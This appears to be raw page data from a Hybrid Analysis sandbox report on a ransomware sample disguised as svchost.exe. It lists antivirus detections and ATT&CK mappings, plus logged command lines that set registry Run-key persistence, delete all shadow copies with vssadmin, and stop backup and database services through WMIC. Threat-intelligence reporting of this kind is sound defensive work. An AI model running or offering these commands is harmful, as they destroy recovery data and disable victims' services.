26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 38:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T486,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 10b893ca31e0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 10b893ca31e0…. Malware family: Trojan.Generic. Threat score 100/100. 25/28 AV engines flagged this file. 7 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff"],"about":{"@type":"SoftwareApplication","name":"svchost.exe","applicationCategory":["peexe","executable"],"identifier":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":25,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T412,"WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Cobian%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Acronis%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Veeam%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Exchange%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Apache%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%SQL%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%postgres%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%server%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%oracle%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Firebird%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%FTP%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%backup%'"28:T412,"WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Cobian%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Acronis%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Veeam%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Exchange%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Apache%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%SQL%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%postgres%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%server%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%oracle%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%Firebird%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%FTP%'" "WMIC.exe" issued a query "SELECT * FROM Win32_Service WHERE caption LIKE '%backup%'"29:T81e,Process "attrib.exe" (UID: 00064663-00003428) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064680-00003572) was launched with missing environment variables: "PROMPT" Process "reg.exe" (UID: 00064691-00002244) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064704-00004020) was launched with missing environment variables: "PROMPT" Process "reg.exe" (UID: 00064710-00003148) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064731-00002364) was launched with missing environment variables: "PROMPT" Process "reg.exe" (UID: 00064736-00002876) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064750-00002296) was launched with missing environment variables: "PROMPT" Process "reg.exe" (UID: 00064754-00003684) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064769-00003304) was launched with missing environment variables: "PROMPT" Process "reg.exe" (UID: 00064773-00002992) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064787-00003636) was launched with missing environment variables: "PROMPT" Process "reg.exe" (UID: 00064792-00002088) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064811-00001504) was launched with missing environment variables: "PROMPT" Process "vssadmin.exe" (UID: 00064817-00003724) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00064824-00003512) was launched with missing environment variables: "PROMPT" Process "WMIC.exe" (UID: 00064830-00003264) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00065166-00003772) was launched with missing environment variables: "PROMPT" Process "WMIC.exe" (UID: 00065171-00003028) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00065508-00003624) was launched with missing environment variables: "PROMPT"2a:T8a9,"/c mkdir C:\tmp" on 2020-11-23.22:09:11.414 "/c copy svchost.exe C:\tmp" on 2020-11-23.22:09:11.555 "/c attrib +s +h "C:\tmp"" on 2020-11-23.22:09:11.695 "/c copy svchost.exe %AppData%\Microsoft\Windows\Start Menu\Programs\Startup" on 2020-11-23.22:09:12.024 "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit" /V "Google Update" /t REG_SZ /F /D "C:\tmp\svchost.exe"" on 2020-11-23.22:09:12.149 "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit" /V "Google Update" /t REG_SZ /F /D "C:\tmp\svchost.exe"" on 2020-11-23.22:09:12.414 "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /V "Google Update" /t REG_SZ /F /D "C:\tmp\svchost.exe"" on 2020-11-23.22:09:12.820 "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /V "Google Update" /t REG_SZ /F /D "C:\tmp\svchost.exe"" on 2020-11-23.22:09:13.117 "/c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /V "Google Update" /t REG_SZ /F /D "C:\tmp\svchost.exe"" on 2020-11-23.22:09:13.399 "/c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /V "Google Update" /t REG_SZ /F /D "C:\tmp\svchost.exe"" on 2020-11-23.22:09:13.695 "/c start vssadmin delete shadows /all /quiet" on 2020-11-23.22:09:14.070 "/c WMIC SERVICE WHERE "caption LIKE '%Cobian%'" CALL STOPSERVICE" on 2020-11-23.22:09:14.274 "/c WMIC SERVICE WHERE "caption LIKE '%Acronis%'" CALL STOPSERVICE" on 2020-11-23.22:10:39.617 "/c WMIC SERVICE WHERE "caption LIKE '%Veeam%'" CALL STOPSERVICE" on 2020-11-23.22:11:24.961 "/c WMIC SERVICE WHERE "caption LIKE '%Exchange%'" CALL STOPSERVICE" on 2020-11-23.22:12:10.320 "/c WMIC SERVICE WHERE "caption LIKE '%Apache%'" CALL STOPSERVICE" on 2020-11-23.22:12:55.680 "/c WMIC SERVICE WHERE "caption LIKE '%SQL%'" CALL STOPSERVICE" on 2020-11-23.22:13:41.039 "/c WMIC SERVICE WHERE "caption LIKE '%postgres%'" CALL STOPSERVICE" on 2020-11-23.22:14:26.414 "/c WMIC SERVICE WHERE "caption LIKE '%server%'" CALL STOPSERVICE" on 2020-11-23.22:15:11.758 "/c WMIC SERVICE WHERE "caption LIKE '%oracle%'" CALL STOPSERVICE" on 2020-11-23.22:15:57.1492b:Ta01,Spawned process "cmd.exe" with commandline "/c mkdir C:\tmp" (UID: 00064640-00002748) Spawned process "cmd.exe" with commandline "/c copy svchost.exe C:\tmp" (UID: 00064650-00002292) Spawned process "cmd.exe" with commandline "/c attrib +s +h "C:\tmp"" (UID: 00064659-00002712) Spawned process "attrib.exe" with commandline "attrib +s +h "C:\tmp"" (UID: 00064663-00003428) Spawned process "cmd.exe" with commandline "/c copy svchost.exe %AppData%\Microsoft\Windows\Start Menu\Progr ..." (UID: 00064680-00003572) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Cur ..." (UID: 00064688-00003488), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Curre ..." (UID: 00064691-00002244) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Cur ..." (UID: 00064704-00004020), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Curre ..." (UID: 00064710-00003148) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren ..." (UID: 00064731-00002364), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ..." (UID: 00064736-00002876) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren ..." (UID: 00064750-00002296), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ..." (UID: 00064754-00003684) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current ..." (UID: 00064769-00003304), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe ..." (UID: 00064773-00002992) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current ..." (UID: 00064787-00003636), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe ..." (UID: 00064792-00002088) Spawned process "cmd.exe" with commandline "/c start vssadmin delete shadows /all /quiet" (UID: 00064811-00001504) Spawned process "vssadmin.exe" with commandline "vssadmin delete shadows /all /quiet" (UID: 00064817-00003724) Spawned process "cmd.exe" with commandline "/c WMIC SERVICE WHERE "caption LIKE '%Cobian%'" CALL STOPSERVICE" (UID: 00064824-00003512)2c:Ta01,Spawned process "cmd.exe" with commandline "/c mkdir C:\tmp" (UID: 00064640-00002748) Spawned process "cmd.exe" with commandline "/c copy svchost.exe C:\tmp" (UID: 00064650-00002292) Spawned process "cmd.exe" with commandline "/c attrib +s +h "C:\tmp"" (UID: 00064659-00002712) Spawned process "attrib.exe" with commandline "attrib +s +h "C:\tmp"" (UID: 00064663-00003428) Spawned process "cmd.exe" with commandline "/c copy svchost.exe %AppData%\Microsoft\Windows\Start Menu\Progr ..." (UID: 00064680-00003572) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Cur ..." (UID: 00064688-00003488), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Curre ..." (UID: 00064691-00002244) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Cur ..." (UID: 00064704-00004020), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Curre ..." (UID: 00064710-00003148) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren ..." (UID: 00064731-00002364), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ..." (UID: 00064736-00002876) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren ..." (UID: 00064750-00002296), Spawned process "reg.exe" with commandline "REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV ..." (UID: 00064754-00003684) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current ..." (UID: 00064769-00003304), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe ..." (UID: 00064773-00002992) Spawned process "cmd.exe" with commandline "/c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current ..." (UID: 00064787-00003636), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe ..." (UID: 00064792-00002088) Spawned process "cmd.exe" with commandline "/c start vssadmin delete shadows /all /quiet" (UID: 00064811-00001504) Spawned process "vssadmin.exe" with commandline "vssadmin delete shadows /all /quiet" (UID: 00064817-00003724) Spawned process "cmd.exe" with commandline "/c WMIC SERVICE WHERE "caption LIKE '%Cobian%'" CALL STOPSERVICE" (UID: 00064824-00003512)2d:T5c8,"" opened "C:\1517733200203$MAPFAILURE" with delete access "" opened "C:\1517733200203$OK" with delete access "" opened "C:\ddM.Tm0.aac" with delete access "" opened "C:\v1fXXbXJlJLrg.IJ5.aac" with delete access "" opened "C:\Zznw4FCg8HWNZtYMAsoT.dKe.aac" with delete access "" opened "C:\xr1kgG6Iaoc3TiOgBc2agnAQ.VMA.aac" with delete access "" opened "C:\Sw96eObQB.kEa.aac" with delete access "" opened "C:\1YTmkJOzN.GvD.aac" with delete access "" opened "C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\Office64WW.xml" with delete access "" opened "C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\OWOW64WW.cab" with delete access "" opened "C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\pkeyconfig-office.xrm-ms" with delete access "" opened "C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\ProPlusWW.xml" with delete access37:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790797865937,"unified_at":"2026-09-30T19:51:05.937Z","metadata":{"hashes":{"sha256":"10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff","sha1":"68bb5b7fadeec0b761cc0f24ae14fdf1714e0c5b","md5":"b94292e590ef101030bf749830463728","sha512":"389b57983bd2dc504e2ca356fa079ce917090e6c3681ff881dbabd6ddc34de77711c2d4e2d16c7a3f67fe68b30b025f312bc46ae7239368b0e8e9444edd18cc8","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"svchost.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":1538048,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1501587550000,"last_seen":1648395122000,"last_multi_scan":1648395122000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["haknata","evasive","ransomware"]},"stats":{"av":{"malicious_count":25,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":11},"sandbox_signatures":{"informative_count":23,"suspicious_count":24,"malicious_count":7,"total":54},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Xpan.tqBe","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.SGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1232178","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Generic.Ransom.XRatLocker.F09C48DD","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Heur.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.Ransom.XRatLocker.D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Ransom.IS.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Generic.Ransom.XRatLocker.F09C48DD (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Filecoder.XRatLocker.D trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Xratlocker","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00500c371 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Win32.Xpan.h","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-FNIX!B94292E590EF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Deshacop.epkmdy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":" Ransom.Haknata.S1240226","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Ransom-FI","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Ransom.Haknata!g1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.F4FB4B79","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.F4FB4B79","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.QLK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Deshacop","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"malicious","threat_name":"Hacktool.Crypter.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Deshacop.Win32.838","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"malicious","value":"Stops a windows service using WMIC"},{"type":"suspicious","value":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"},{"type":"informative","value":"Executes WMI queries known to be used for VM detection"},{"type":"informative","value":"Executes WMI queries"},{"type":"informative","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Execution","technique":"Command-Line Interface","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1060","attack_id_wiki":"https://attack.mitre.org/techniques/T1060","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/techniques/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"References a system executable name in an unusual way in the commandline"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/techniques/T1107","identifiers":[{"type":"malicious","value":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1076","attack_id_wiki":"https://attack.mitre.org/techniques/T1076","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"$27","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries known to be used for VM detection","description":"$28","origin":"API 